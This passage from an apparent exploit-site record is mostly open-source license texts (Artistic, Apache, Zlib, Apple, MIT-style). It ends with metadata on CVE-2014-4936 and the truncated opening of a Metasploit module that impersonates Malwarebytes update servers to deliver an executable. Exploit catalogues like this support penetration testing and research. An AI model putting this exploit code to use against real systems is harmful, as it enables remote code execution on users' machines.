does not expose a direct interface to the Package.\n .\n .\n Items That are Not Considered Part of a Modified Version\n .\n (9) Works (including, but not limited to, modules and scripts) that\n merely extend or make use of the Package, do not, by themselves, cause\n the Package to be a Modified Version. In addition, such works are not\n considered parts of the Package itself, and are not subject to the\n terms of this license.\n .\n .\n General Provisions\n .\n (10) Any use, modification, and distribution of the Standard or\n Modified Versions is governed by this Artistic License. By using,\n modifying or distributing the Package, you accept this license. Do not\n use, modify, or distribute the Package, if you do not accept this\n license.\n .\n (11) If your Modified Version has been derived from a Modified\n Version made by someone other than you, you are nevertheless required\n to ensure that your Modified Version complies with the requirements of\n this license.\n .\n (12) This license does not grant you the right to use any trademark,\n service mark, tradename, or logo of the Copyright Holder.\n .\n (13) This license includes the non-exclusive, worldwide,\n free-of-charge patent license to make, have made, use, offer to sell,\n sell, import and otherwise transfer the Package with respect to any\n patent claims licensable by the Copyright Holder that are necessarily\n infringed by the Package. If you institute patent litigation\n (including a cross-claim or counterclaim) against any party alleging\n that the Package constitutes direct or contributory patent\n infringement, then this Artistic License to you shall terminate on the\n date that such litigation is filed.\n .\n (14) Disclaimer of Warranty:\n THE PACKAGE IS PROVIDED BY THE COPYRIGHT HOLDER AND CONTRIBUTORS \"AS\n IS' AND WITHOUT ANY EXPRESS OR IMPLIED WARRANTIES. THE IMPLIED\n WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, OR\n NON-INFRINGEMENT ARE DISCLAIMED TO THE EXTENT PERMITTED BY YOUR LOCAL\n LAW. UNLESS REQUIRED BY LAW, NO COPYRIGHT HOLDER OR CONTRIBUTOR WILL\n BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL\n DAMAGES ARISING IN ANY WAY OUT OF THE USE OF THE PACKAGE, EVEN IF\n ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\nLicense: Apache\n Version 1.1, 2000\n Modifications by CORE Security Technologies\n .\n Copyright (c) 2000 The Apache Software Foundation.  All rights\n reserved.\n .\n Redistribution and use in source and binary forms, with or without\n modification, are permitted provided that the following conditions\n are met:\n .\n 1. Redistributions of source code must retain the above copyright\n    notice, this list of conditions and the following disclaimer.\n .\n 2. Redistributions in binary form must reproduce the above copyright\n    notice, this list of conditions and the following disclaimer in\n    the documentation and/or other materials provided with the\n    distribution.\n .\n 3. The end-user documentation included with the redistribution,\n    if any, must include the following acknowledgment:\n       \"This product includes software developed by\n        CORE Security Technologies (http://www.coresecurity.com/).\"\n    Alternately, this acknowledgment may appear in the software itself,\n    if and wherever such third-party acknowledgments normally appear.\n .\n 4. The names \"Impacket\" and \"CORE Security Technologies\" must\n    not be used to endorse or promote products derived from this\n    software without prior written permission. For written\n    permission, please contact oss@coresecurity.com.\n .\n 5. Products derived from this software may not be called \"Impacket\",\n    nor may \"Impacket\" appear in their name, without prior written\n    permission of CORE Security Technologies.\n .\n THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED\n WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES\n OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n DISCLAIMED.  IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR\n ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF\n USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\n ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\n OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT\n OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF\n SUCH DAMAGE.\n\nLicense: Apache\n Version 2.0, January 2004\n http://www.apache.org/licenses/\n .\n TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION\n .\n 1. Definitions.\n .\n \"License\" shall mean the terms and conditions for use, reproduction,\n and distribution as defined by Sections 1 through 9 of this document.\n .\n \"Licensor\" shall mean the copyright owner or entity authorized by\n the copyright owner that is granting the License.\n .\n \"Legal Entity\" shall mean the union of the acting entity and all\n other entities that control, are controlled by, or are under common\n control with that entity. For the purposes of this definition,\n \"control\" means (i) the power, direct or indirect, to cause the\n direction or management of such entity, whether by contract or\n otherwise, or (ii) ownership of fifty percent (50%) or more of the\n outstanding shares, or (iii) beneficial ownership of such entity.\n .\n \"You\" (or \"Your\") shall mean an individual or Legal Entity\n exercising permissions granted by this License.\n .\n \"Source\" form shall mean the preferred form for making modifications,\n including but not limited to software source code, documentation\n source, and configuration files.\n .\n \"Object\" form shall mean any form resulting from mechanical\n transformation or translation of a Source form, including but\n not limited to compiled object code, generated documentation,\n and conversions to other media types.\n .\n \"Work\" shall mean the work of authorship, whether in Source or\n Object form, made available under the License, as indicated by a\n copyright notice that is included in or attached to the work\n (an example is provided in the Appendix below).\n .\n \"Derivative Works\" shall mean any work, whether in Source or Object\n form, that is based on (or derived from) the Work and for which the\n editorial revisions, annotations, elaborations, or other modifications\n represent, as a whole, an original work of authorship. For the purposes\n of this License, Derivative Works shall not include works that remain\n separable from, or merely link (or bind by name) to the interfaces of,\n the Work and Derivative Works thereof.\n .\n \"Contribution\" shall mean any work of authorship, including\n the original version of the Work and any modifications or additions\n to that Work or Derivative Works thereof, that is intentionally\n submitted to Licensor for inclusion in the Work by the copyright owner\n or by an individual or Legal Entity authorized to submit on behalf of\n the copyright owner. For the purposes of this definition, \"submitted\"\n means any form of electronic, verbal, or written communication sent\n to the Licensor or its representatives, including but not limited to\n communication on electronic mailing lists, source code control systems,\n and issue tracking systems that are managed by, or on behalf of, the\n Licensor for the purpose of discussing and improving the Work, but\n excluding communication that is conspicuously marked or otherwise\n designated in writing by the copyright owner as \"Not a Contribution.\"\n .\n \"Contributor\" shall mean Licensor and any individual or Legal Entity\n on behalf of whom a Contribution has been received by Licensor and\n subsequently incorporated within the Work.\n .\n 2. Grant of Copyright License. Subject to the terms and conditions of\n this License, each Contributor hereby grants to You a perpetual,\n worldwide, non-exclusive, no-charge, royalty-free, irrevocable\n copyright license to reproduce, prepare Derivative Works of,\n publicly display, publicly perform, sublicense, and distribute the\n Work and such Derivative Works in Source or Object form.\n .\n 3. Grant of Patent License. Subject to the terms and conditions of\n this License, each Contributor hereby grants to You a perpetual,\n worldwide, non-exclusive, no-charge, royalty-free, irrevocable\n (except as stated in this section) patent license to make, have made,\n use, offer to sell, sell, import, and otherwise transfer the Work,\n where such license applies only to those patent claims licensable\n by such Contributor that are necessarily infringed by their\n Contribution(s) alone or by combination of their Contribution(s)\n with the Work to which such Contribution(s) was submitted. If You\n institute patent litigation against any entity (including a\n cross-claim or counterclaim in a lawsuit) alleging that the Work\n or a Contribution incorporated within the Work constitutes direct\n or contributory patent infringement, then any patent licenses\n granted to You under this License for that Work shall terminate\n as of the date such litigation is filed.\n .\n 4. Redistribution. You may reproduce and distribute copies of the\n Work or Derivative Works thereof in any medium, with or without\n modifications, and in Source or Object form, provided that You\n meet the following conditions:\n .\n (a) You must give any other recipients of the Work or\n Derivative Works a copy of this License; and\n .\n (b) You must cause any modified files to carry prominent notices\n stating that You changed the files; and\n .\n (c) You must retain, in the Source form of any Derivative Works\n that You distribute, all copyright, patent, trademark, and\n attribution notices from the Source form of the Work,\n excluding those notices that do not pertain to any part of\n the Derivative Works; and\n .\n (d) If the Work includes a \"NOTICE\" text file as part of its\n distribution, then any Derivative Works that You distribute must\n include a readable copy of the attribution notices contained\n within such NOTICE file, excluding those notices that do not\n pertain to any part of the Derivative Works, in at least one\n of the following places: within a NOTICE text file distributed\n as part of the Derivative Works; within the Source form or\n documentation, if provided along with the Derivative Works; or,\n within a display generated by the Derivative Works, if and\n wherever such third-party notices normally appear. The contents\n of the NOTICE file are for informational purposes only and\n do not modify the License. You may add Your own attribution\n notices within Derivative Works that You distribute, alongside\n or as an addendum to the NOTICE text from the Work, provided\n that such additional attribution notices cannot be construed\n as modifying the License.\n .\n You may add Your own copyright statement to Your modifications and\n may provide additional or different license terms and conditions\n for use, reproduction, or distribution of Your modifications, or\n for any such Derivative Works as a whole, provided Your use,\n reproduction, and distribution of the Work otherwise complies with\n the conditions stated in this License.\n .\n 5. Submission of Contributions. Unless You explicitly state otherwise,\n any Contribution intentionally submitted for inclusion in the Work\n by You to the Licensor shall be under the terms and conditions of\n this License, without any additional terms or conditions.\n Notwithstanding the above, nothing herein shall supersede or modify\n the terms of any separate license agreement you may have executed\n with Licensor regarding such Contributions.\n .\n 6. Trademarks. This License does not grant permission to use the trade\n names, trademarks, service marks, or product names of the Licensor,\n except as required for reasonable and customary use in describing the\n origin of the Work and reproducing the content of the NOTICE file.\n .\n 7. Disclaimer of Warranty. Unless required by applicable law or\n agreed to in writing, Licensor provides the Work (and each\n Contributor provides its Contributions) on an \"AS IS\" BASIS,\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or\n implied, including, without limitation, any warranties or conditions\n of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A\n PARTICULAR PURPOSE. You are solely responsible for determining the\n appropriateness of using or redistributing the Work and assume any\n risks associated with Your exercise of permissions under this License.\n .\n 8. Limitation of Liability. In no event and under no legal theory,\n whether in tort (including negligence), contract, or otherwise,\n unless required by applicable law (such as deliberate and grossly\n negligent acts) or agreed to in writing, shall any Contributor be\n liable to You for damages, including any direct, indirect, special,\n incidental, or consequential damages of any character arising as a\n result of this License or out of the use or inability to use the\n Work (including but not limited to damages for loss of goodwill,\n work stoppage, computer failure or malfunction, or any and all\n other commercial damages or losses), even if such Contributor\n has been advised of the possibility of such damages.\n .\n 9. Accepting Warranty or Additional Liability. While redistributing\n the Work or Derivative Works thereof, You may choose to offer,\n and charge a fee for, acceptance of support, warranty, indemnity,\n or other liability obligations and/or rights consistent with this\n License. However, in accepting such obligations, You may act only\n on Your own behalf and on Your sole responsibility, not on behalf\n of any other Contributor, and only if You agree to indemnify,\n defend, and hold each Contributor harmless for any liability\n incurred by, or claims asserted against, such Contributor by reason\n of your accepting any such warranty or additional liability.\n .\n END OF TERMS AND CONDITIONS\n .\n APPENDIX: How to apply the Apache License to your work.\n .\n To apply the Apache License to your work, attach the following\n boilerplate notice, with the fields enclosed by brackets \"[]\"\n replaced with your own identifying information. (Don't include\n the brackets!) The text should be enclosed in the appropriate\n comment syntax for the file format. We also recommend that a\n file or class name and description of purpose be included on the\n same \"printed page\" as the copyright notice for easier\n identification within third-party archives.\n .\n Copyright [yyyy] [name of copyright owner]\n .\n Licensed under the Apache License, Version 2.0 (the \"License\");\n you may not use this file except in compliance with the License.\n You may obtain a copy of the License at\n .\n http://www.apache.org/licenses/LICENSE-2.0\n .\n Unless required by applicable law or agreed to in writing, software\n distributed under the License is distributed on an \"AS IS\" BASIS,\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n See the License for the specific language governing permissions and\n limitations under the License.\n\nLicense: Zlib\n This software is provided 'as-is', without any express or implied\n warranty.  In no event will the authors be held liable for any damages\n arising from the use of this software.\n .\n Permission is granted to anyone to use this software for any purpose,\n including commercial applications, and to alter it and redistribute it\n freely, subject to the following restrictions:\n .\n 1. The origin of this software must not be misrepresented; you must not\n    claim that you wrote the original software. If you use this software\n    in a product, an acknowledgment in the product documentation would be\n    appreciated but is not required.\n 2. Altered source versions must be plainly marked as such, and must not be\n    misrepresented as being the original software.\n 3. This notice may not be removed or altered from any source distribution.\n\nLicense: Apple\nAPPLE PUBLIC SOURCE LICENSE\nVersion 2.0 - August 6, 2003\n\nPlease read this License carefully before downloading this software.\nBy downloading or using this software, you are agreeing to be bound by\nthe terms of this License. If you do not or cannot agree to the terms\nof this License, please do not download or use the software.\n\n1. General; Definitions. This License applies to any program or other\nwork which Apple Computer, Inc. (\"Apple\") makes publicly available and\nwhich contains a notice placed by Apple identifying such program or\nwork as \"Original Code\" and stating that it is subject to the terms of\nthis Apple Public Source License version 2.0 (\"License\"). As used in\nthis License:\n\n1.1 \"Applicable Patent Rights\" mean: (a) in the case where Apple is\nthe grantor of rights, (i) claims of patents that are now or hereafter\nacquired, owned by or assigned to Apple and (ii) that cover subject\nmatter contained in the Original Code, but only to the extent\nnecessary to use, reproduce and/or distribute the Original Code\nwithout infringement; and (b) in the case where You are the grantor of\nrights, (i) claims of patents that are now or hereafter acquired,\nowned by or assigned to You and (ii) that cover subject matter in Your\nModifications, taken alone or in combination with Original Code.\n\n1.2 \"Contributor\" means any person or entity that creates or\ncontributes to the creation of Modifications.\n\n1.3 \"Covered Code\" means the Original Code, Modifications, the\ncombination of Original Code and any Modifications, and/or any\nrespective portions thereof.\n\n1.4 \"Externally Deploy\" means: (a) to sublicense, distribute or\notherwise make Covered Code available, directly or indirectly, to\nanyone other than You; and/or (b) to use Covered Code, alone or as\npart of a Larger Work, in any way to provide a service, including but\nnot limited to delivery of content, through electronic communication\nwith a client other than You.\n\n1.5 \"Larger Work\" means a work which combines Covered Code or portions\nthereof with code not governed by the terms of this License.\n\n1.6 \"Modifications\" mean any addition to, deletion from, and/or change\nto, the substance and/or structure of the Original Code, any previous\nModifications, the combination of Original Code and any previous\nModifications, and/or any respective portions thereof. When code is\nreleased as a series of files, a Modification is: (a) any addition to\nor deletion from the contents of a file containing Covered Code;\nand/or (b) any new file or other representation of computer program\nstatements that contains any part of Covered Code.\n\n1.7 \"Original Code\" means (a) the Source Code of a program or other\nwork as originally made available by Apple under this License,\nincluding the Source Code of any updates or upgrades to such programs\nor works made available by Apple under this License, and that has been\nexpressly identified by Apple as such in the header file(s) of such\nwork; and (b) the object code compiled from such Source Code and\noriginally made available by Apple under this License.\n\n1.8 \"Source Code\" means the human readable form of a program or other\nwork that is suitable for making modifications to it, including all\nmodules it contains, plus any associated interface definition files,\nscripts used to control compilation and installation of an executable\n(object code).\n\n1.9 \"You\" or \"Your\" means an individual or a legal entity exercising\nrights under this License. For legal entities, \"You\" or \"Your\"\nincludes any entity which controls, is controlled by, or is under\ncommon control with, You, where \"control\" means (a) the power, direct\nor indirect, to cause the direction or management of such entity,\nwhether by contract or otherwise, or (b) ownership of fifty percent\n(50%) or more of the outstanding shares or beneficial ownership of\nsuch entity.\n\n2. Permitted Uses; Conditions & Restrictions. Subject to the terms\nand conditions of this License, Apple hereby grants You, effective on\nthe date You accept this License and download the Original Code, a\nworld-wide, royalty-free, non-exclusive license, to the extent of\nApple's Applicable Patent Rights and copyrights covering the Original\nCode, to do the following:\n\n2.1 Unmodified Code. You may use, reproduce, display, perform,\ninternally distribute within Your organization, and Externally Deploy\nverbatim, unmodified copies of the Original Code, for commercial or\nnon-commercial purposes, provided that in each instance:\n\n(a) You must retain and reproduce in all copies of Original Code the\ncopyright and other proprietary notices and disclaimers of Apple as\nthey appear in the Original Code, and keep intact all notices in the\nOriginal Code that refer to this License; and\n\n(b) You must include a copy of this License with every copy of Source\nCode of Covered Code and documentation You distribute or Externally\nDeploy, and You may not offer or impose any terms on such Source Code\nthat alter or restrict this License or the recipients' rights\nhereunder, except as permitted under Section 6.\n\n2.2 Modified Code. You may modify Covered Code and use, reproduce,\ndisplay, perform, internally distribute within Your organization, and\nExternally Deploy Your Modifications and Covered Code, for commercial\nor non-commercial purposes, provided that in each instance You also\nmeet all of these conditions:\n\n(a) You must satisfy all the conditions of Section 2.1 with respect to\nthe Source Code of the Covered Code;\n\n(b) You must duplicate, to the extent it does not already exist, the\nnotice in Exhibit A in each file of the Source Code of all Your\nModifications, and cause the modified files to carry prominent notices\nstating that You changed the files and the date of any change; and\n\n(c) If You Externally Deploy Your Modifications, You must make\nSource Code of all Your Externally Deployed Modifications either\navailable to those to whom You have Externally Deployed Your\nModifications, or publicly available. Source Code of Your Externally\nDeployed Modifications must be released under the terms set forth in\nthis License, including the license grants set forth in Section 3\nbelow, for as long as you Externally Deploy the Covered Code or twelve\n(12) months from the date of initial External Deployment, whichever is\nlonger. You should preferably distribute the Source Code of Your\nExternally Deployed Modifications electronically (e.g. download from a\nweb site).\n\n2.3 Distribution of Executable Versions. In addition, if You\nExternally Deploy Covered Code (Original Code and/or Modifications) in\nobject code, executable form only, You must include a prominent\nnotice, in the code itself as well as in related documentation,\nstating that Source Code of the Covered Code is available under the\nterms of this License with information on how and where to obtain such\nSource Code.\n\n2.4 Third Party Rights. You expressly acknowledge and agree that\nalthough Apple and each Contributor grants the licenses to their\nrespective portions of the Covered Code set forth herein, no\nassurances are provided by Apple or any Contributor that the Covered\nCode does not infringe the patent or other intellectual property\nrights of any other entity. Apple and each Contributor disclaim any\nliability to You for claims brought by any other entity based on\ninfringement of intellectual property rights or otherwise. As a\ncondition to exercising the rights and licenses granted hereunder, You\nhereby assume sole responsibility to secure any other intellectual\nproperty rights needed, if any. For example, if a third party patent\nlicense is required to allow You to distribute the Covered Code, it is\nYour responsibility to acquire that license before distributing the\nCovered Code.\n\n3. Your Grants. In consideration of, and as a condition to, the\nlicenses granted to You under this License, You hereby grant to any\nperson or entity receiving or distributing Covered Code under this\nLicense a non-exclusive, royalty-free, perpetual, irrevocable license,\nunder Your Applicable Patent Rights and other intellectual property\nrights (other than patent) owned or controlled by You, to use,\nreproduce, display, perform, modify, sublicense, distribute and\nExternally Deploy Your Modifications of the same scope and extent as\nApple's licenses under Sections 2.1 and 2.2 above.\n\n4. Larger Works. You may create a Larger Work by combining Covered\nCode with other code not governed by the terms of this License and\ndistribute the Larger Work as a single product. In each such instance,\nYou must make sure the requirements of this License are fulfilled for\nthe Covered Code or any portion thereof.\n\n5. Limitations on Patent License. Except as expressly stated in\nSection 2, no other patent rights, express or implied, are granted by\nApple herein. Modifications and/or Larger Works may require additional\npatent licenses from Apple which Apple may grant in its sole\ndiscretion.\n\n6. Additional Terms. You may choose to offer, and to charge a fee for,\nwarranty, support, indemnity or liability obligations and/or other\nrights consistent with the scope of the license granted herein\n(\"Additional Terms\") to one or more recipients of Covered Code.\nHowever, You may do so only on Your own behalf and as Your sole\nresponsibility, and not on behalf of Apple or any Contributor. You\nmust obtain the recipient's agreement that any such Additional Terms\nare offered by You alone, and You hereby agree to indemnify, defend\nand hold Apple and every Contributor harmless for any liability\nincurred by or claims asserted against Apple or such Contributor by\nreason of any such Additional Terms.\n\n7. Versions of the License. Apple may publish revised and/or new\nversions of this License from time to time. Each version will be given\na distinguishing version number. Once Original Code has been published\nunder a particular version of this License, You may continue to use it\nunder the terms of that version. You may also choose to use such\nOriginal Code under the terms of any subsequent version of this\nLicense published by Apple. No one other than Apple has the right to\nmodify the terms applicable to Covered Code created under this\nLicense.\n\n8. NO WARRANTY OR SUPPORT. The Covered Code may contain in whole or in\npart pre-release, untested, or not fully tested works. The Covered\nCode may contain errors that could cause failures or loss of data, and\nmay be incomplete or contain inaccuracies. You expressly acknowledge\nand agree that use of the Covered Code, or any portion thereof, is at\nYour sole and entire risk. THE COVERED CODE IS PROVIDED \"AS IS\" AND\nWITHOUT WARRANTY, UPGRADES OR SUPPORT OF ANY KIND AND APPLE AND\nAPPLE'S LICENSOR(S) (COLLECTIVELY REFERRED TO AS \"APPLE\" FOR THE\nPURPOSES OF SECTIONS 8 AND 9) AND ALL CONTRIBUTORS EXPRESSLY DISCLAIM\nALL WARRANTIES AND/OR CONDITIONS, EXPRESS OR IMPLIED, INCLUDING, BUT\nNOT LIMITED TO, THE IMPLIED WARRANTIES AND/OR CONDITIONS OF\nMERCHANTABILITY, OF SATISFACTORY QUALITY, OF FITNESS FOR A PARTICULAR\nPURPOSE, OF ACCURACY, OF QUIET ENJOYMENT, AND NONINFRINGEMENT OF THIRD\nPARTY RIGHTS. APPLE AND EACH CONTRIBUTOR DOES NOT WARRANT AGAINST\nINTERFERENCE WITH YOUR ENJOYMENT OF THE COVERED CODE, THAT THE\nFUNCTIONS CONTAINED IN THE COVERED CODE WILL MEET YOUR REQUIREMENTS,\nTHAT THE OPERATION OF THE COVERED CODE WILL BE UNINTERRUPTED OR\nERROR-FREE, OR THAT DEFECTS IN THE COVERED CODE WILL BE CORRECTED. NO\nORAL OR WRITTEN INFORMATION OR ADVICE GIVEN BY APPLE, AN APPLE\nAUTHORIZED REPRESENTATIVE OR ANY CONTRIBUTOR SHALL CREATE A WARRANTY.\nYou acknowledge that the Covered Code is not intended for use in the\noperation of nuclear facilities, aircraft navigation, communication\nsystems, or air traffic control machines in which case the failure of\nthe Covered Code could lead to death, personal injury, or severe\nphysical or environmental damage.\n\n9. LIMITATION OF LIABILITY. TO THE EXTENT NOT PROHIBITED BY LAW, IN NO\nEVENT SHALL APPLE OR ANY CONTRIBUTOR BE LIABLE FOR ANY INCIDENTAL,\nSPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES ARISING OUT OF OR RELATING\nTO THIS LICENSE OR YOUR USE OR INABILITY TO USE THE COVERED CODE, OR\nANY PORTION THEREOF, WHETHER UNDER A THEORY OF CONTRACT, WARRANTY,\nTORT (INCLUDING NEGLIGENCE), PRODUCTS LIABILITY OR OTHERWISE, EVEN IF\nAPPLE OR SUCH CONTRIBUTOR HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH\nDAMAGES AND NOTWITHSTANDING THE FAILURE OF ESSENTIAL PURPOSE OF ANY\nREMEDY. SOME JURISDICTIONS DO NOT ALLOW THE LIMITATION OF LIABILITY OF\nINCIDENTAL OR CONSEQUENTIAL DAMAGES, SO THIS LIMITATION MAY NOT APPLY\nTO YOU. In no event shall Apple's total liability to You for all\ndamages (other than as may be required by applicable law) under this\nLicense exceed the amount of fifty dollars ($50.00).\n\n10. Trademarks. This License does not grant any rights to use the\ntrademarks or trade names \"Apple\", \"Apple Computer\", \"Mac\", \"Mac OS\",\n\"QuickTime\", \"QuickTime Streaming Server\" or any other trademarks,\nservice marks, logos or trade names belonging to Apple (collectively\n\"Apple Marks\") or to any trademark, service mark, logo or trade name\nbelonging to any Contributor. You agree not to use any Apple Marks in\nor as part of the name of products derived from the Original Code or\nto endorse or promote products derived from the Original Code other\nthan as expressly permitted by and in strict compliance at all times\nwith Apple's third party trademark usage guidelines which are posted\nat http://www.apple.com/legal/guidelinesfor3rdparties.html.\n\n11. Ownership. Subject to the licenses granted under this License,\neach Contributor retains all rights, title and interest in and to any\nModifications made by such Contributor. Apple retains all rights,\ntitle and interest in and to the Original Code and any Modifications\nmade by or on behalf of Apple (\"Apple Modifications\"), and such Apple\nModifications will not be automatically subject to this License. Apple\nmay, at its sole discretion, choose to license such Apple\nModifications under this License, or on different terms from those\ncontained in this License or may choose not to license them at all.\n\n12. Termination.\n\n12.1 Termination. This License and the rights granted hereunder will\nterminate:\n\n(a) automatically without notice from Apple if You fail to comply with\nany term(s) of this License and fail to cure such breach within 30\ndays of becoming aware of such breach;\n\n(b) immediately in the event of the circumstances described in Section\n13.5(b); or\n\n(c) automatically without notice from Apple if You, at any time during\nthe term of this License, commence an action for patent infringement\nagainst Apple; provided that Apple did not first commence\nan action for patent infringement against You in that instance.\n\n12.2 Effect of Termination. Upon termination, You agree to immediately\nstop any further use, reproduction, modification, sublicensing and\ndistribution of the Covered Code. All sublicenses to the Covered Code\nwhich have been properly granted prior to termination shall survive\nany termination of this License. Provisions which, by their nature,\nshould remain in effect beyond the termination of this License shall\nsurvive, including but not limited to Sections 3, 5, 8, 9, 10, 11,\n12.2 and 13. No party will be liable to any other for compensation,\nindemnity or damages of any sort solely as a result of terminating\nthis License in accordance with its terms, and termination of this\nLicense will be without prejudice to any other right or remedy of\nany party.\n\n13. Miscellaneous.\n\n13.1 Government End Users. The Covered Code is a \"commercial item\" as\ndefined in FAR 2.101. Government software and technical data rights in\nthe Covered Code include only those rights customarily provided to the\npublic as defined in this License. This customary commercial license\nin technical data and software is provided in accordance with FAR\n12.211 (Technical Data) and 12.212 (Computer Software) and, for\nDepartment of Defense purchases, DFAR 252.227-7015 (Technical Data --\nCommercial Items) and 227.7202-3 (Rights in Commercial Computer\nSoftware or Computer Software Documentation). Accordingly, all U.S.\nGovernment End Users acquire Covered Code with only those rights set\nforth herein.\n\n13.2 Relationship of Parties. This License will not be construed as\ncreating an agency, partnership, joint venture or any other form of\nlegal association between or among You, Apple or any Contributor, and\nYou will not represent to the contrary, whether expressly, by\nimplication, appearance or otherwise.\n\n13.3 Independent Development. Nothing in this License will impair\nApple's right to acquire, license, develop, have others develop for\nit, market and/or distribute technology or products that perform the\nsame or similar functions as, or otherwise compete with,\nModifications, Larger Works, technology or products that You may\ndevelop, produce, market or distribute.\n\n13.4 Waiver; Construction. Failure by Apple or any Contributor to\nenforce any provision of this License will not be deemed a waiver of\nfuture enforcement of that or any other provision. Any law or\nregulation which provides that the language of a contract shall be\nconstrued against the drafter will not apply to this License.\n\n13.5 Severability. (a) If for any reason a court of competent\njurisdiction finds any provision of this License, or portion thereof,\nto be unenforceable, that provision of the License will be enforced to\nthe maximum extent permissible so as to effect the economic benefits\nand intent of the parties, and the remainder of this License will\ncontinue in full force and effect. (b) Notwithstanding the foregoing,\nif applicable law prohibits or restricts You from fully and/or\nspecifically complying with Sections 2 and/or 3 or prevents the\nenforceability of either of those Sections, this License will\nimmediately terminate and You must immediately discontinue any use of\nthe Covered Code and destroy all copies of it that are in your\npossession or control.\n\n13.6 Dispute Resolution. Any litigation or other dispute resolution\nbetween You and Apple relating to this License shall take place in the\nNorthern District of California, and You and Apple hereby consent to\nthe personal jurisdiction of, and venue in, the state and federal\ncourts within that District with respect to this License. The\napplication of the United Nations Convention on Contracts for the\nInternational Sale of Goods is expressly excluded.\n\n13.7 Entire Agreement; Governing Law. This License constitutes the\nentire agreement between the parties with respect to the subject\nmatter hereof. This License shall be governed by the laws of the\nUnited States and the State of California, except that body of\nCalifornia law concerning conflicts of law.\n\nWhere You are located in the province of Quebec, Canada, the following\nclause applies: The parties hereby confirm that they have requested\nthat this License and all related documents be drafted in English. Les\nparties ont exige que le present contrat et tous les documents\nconnexes soient rediges en anglais.\n\nEXHIBIT A.\n\n\"Portions Copyright (c) 1999-2003 Apple Computer, Inc. All Rights\nReserved.\n\nThis file contains Original Code and/or Modifications of Original Code\nas defined in and that are subject to the Apple Public Source License\nVersion 2.0 (the 'License'). You may not use this file except in\ncompliance with the License. Please obtain a copy of the License at\nhttp://www.opensource.apple.com/apsl/ and read it before using this\nfile.\n\nThe Original Code and all software distributed under the License are\ndistributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER\nEXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES,\nINCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT.\nPlease see the License for the specific language governing rights and\nlimitations under the License.\"\n\nLicense: Ghost\n Copyright (c) 2013-2026 Ghost Foundation\n\n Permission is hereby granted, free of charge, to any person\n obtaining a copy of this software and associated documentation\n files (the \"Software\"), to deal in the Software without\n restriction, including without limitation the rights to use,\n copy, modify, merge, publish, distribute, sublicense, and/or sell\n copies of the Software, and to permit persons to whom the\n Software is furnished to do so, subject to the following\n conditions:\n\n The above copyright notice and this permission notice shall be\n included in all copies or substantial portions of the Software.\n\n THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES\n OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\n NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT\n HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,\n WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR\n OTHER DEALINGS IN THE SOFTWARE.\n","bytes":67914,"sha256":"c763f60914073cb2787259e454b7daf640166ec05d5e8987351bc23a4cfb115e","sourceUrl":"https://exploitbin.com/licenses/metasploit.txt","revision":null,"error":null},"alternatives":[{"cve":"CVE-2014-4936","preferredId":"EDB-41701","data":[{"id":"EDB-41701","name":"Malwarebytes Anti-Malware < 2.0.3 / Anti-Exploit < 1.03.1.1220 - Update Code Execution (Metasploit)","source":"exploit-db","filename":"EDB-41701.rb","repository":null,"stars":null,"unofficial":false,"warning":null,"url":"https://exploitbin.com/exploits/EDB-41701?cve=CVE-2014-4936"},{"id":"MSF-windows--browser--malwarebytes_update_exec","name":"Malwarebytes Anti-Malware and Anti-Exploit Update Remote Code Execution","source":"metasploit","filename":"malwarebytes_update_exec.rb","repository":null,"stars":null,"unofficial":false,"warning":null,"url":"https://exploitbin.com/exploits/MSF-windows--browser--malwarebytes_update_exec?cve=CVE-2014-4936"}]}]},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = GoodRanking # Would be Great except MBAE doesn't version check\n\n  include Msf::Exploit::EXE\n  include Msf::Exploit::Remote::HttpServer\n\n  VERSION_REGEX = /\\/v2\\/(mbam|mbae)\\/consumer\\/version.chk/\n  EXE_REGEX = /\\/v2\\/(mbam|mbae)\\/consumer\\/data\\/(mbam|mbae)-setup-(.*)\\.exe/\n  NEXT_VERSION = { mbam: '2.0.3.1025', mbae: '1.04.1.1012' }\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Malwarebytes Anti-Malware and 